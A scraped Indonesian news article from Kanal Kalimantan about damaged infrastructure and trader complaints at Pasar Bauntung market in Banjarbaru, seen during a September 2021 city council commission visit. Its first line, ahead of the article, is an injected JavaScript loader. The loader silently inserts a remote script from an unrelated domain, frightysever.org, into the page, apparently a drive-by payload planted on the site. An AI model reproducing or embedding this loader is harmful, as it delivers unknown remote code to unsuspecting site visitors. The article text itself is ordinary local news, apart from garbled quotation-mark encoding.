(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca kepindahan ke lokasi baru, Pasar Bauntung Banjarbaru yang beroperasi 6 bulan terakhir, didapati sejumlah kerusakan pada bagian infrastruktur bangunan.
Beberapa pedagang Pasar Bauntung Banjarbaru di Jalan RO Ulin Selatan, Loktabat Selatan pun mulai tak nyaman.
Salah satu pedagang mengatakan, kondisi pasa masih sepi pembeli, omset penjualan turun 50%. Mampetnya saluran pembuangan air, serta adanya dualisme pasar yang beroperasi di Kelurahan Kemuning. Belum lagi kemunculnya pasar liar yang membuat masyarakat lebih memilih di lokasi dadakan.
Kondisi dan keluhan itu didapati rombongan Komisi III DPRD Kota Banjarbaru ketika melihat langsung kondisi Pasar Bauntung, Senin (6/9/2021).
Baca juga :Â Nasib Banjarmasin yang Terkurung dalam PPKM Level 4 Sejak 3 Agustus Lalu!
Ketua Komisi III DPRD Kota Banjarbaru, Takyin Baskoro mengatakan, mereka datang langsung ke Pasar Bauntung ingin melihat bagaimana kondisi infrastruktur sejak awal beroprasi hingga sekarang.
Karena menurut Baskoro, Pasar Bauntung masih menjadi tanggung jawab pihak rekanan terkait pemeliharaannya, jika ditemukan ada kerusakan pada bangunan.
“Ini masih tanggung jawab kontraktor masa pemeliharaan satu tahun,†kata Baskoro.
“Tadi ada keluhan mengenai saluran-saluran air yang buntu di sekitar lapak penjual ikan,†sebutnya.
Komisi III juga menerima usulan dari Dinas Perdagangan Banjarbaru untuk menambah bangunan kafetaria di bagian belakang pasar, dan atap kanopi untuk parkir karyawan Pasar Bauntung.
Baca juga :Â Mengacu Instruksi Bupati, PPKM Level 4 di Kapuas Hingga 31 Agustus
Sementara itu, Wakil Ketua Komisi III DPRD Kota Banjarbaru, Emi Lasari yang berbicara langsung kepada para pedagang mendapati keluhan para penjual ikan yang menyebut keramik di losa ikan licin. “Sering ada orang yang terpeleset, karena adanya genangan air,†kata Emi.
Pihaknya meminta Dinas PUPR menambah saluran baru, serta perbaikan kerusakan sebelum masa pemeliharaan habis pada Desember nanti.
Kunjungan anggota Komisi III DPRD Banjarbaru diikuti Nurkhalis Anshari, Subakhi, Isa Anshari dan anggota Komisi III lainnya. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.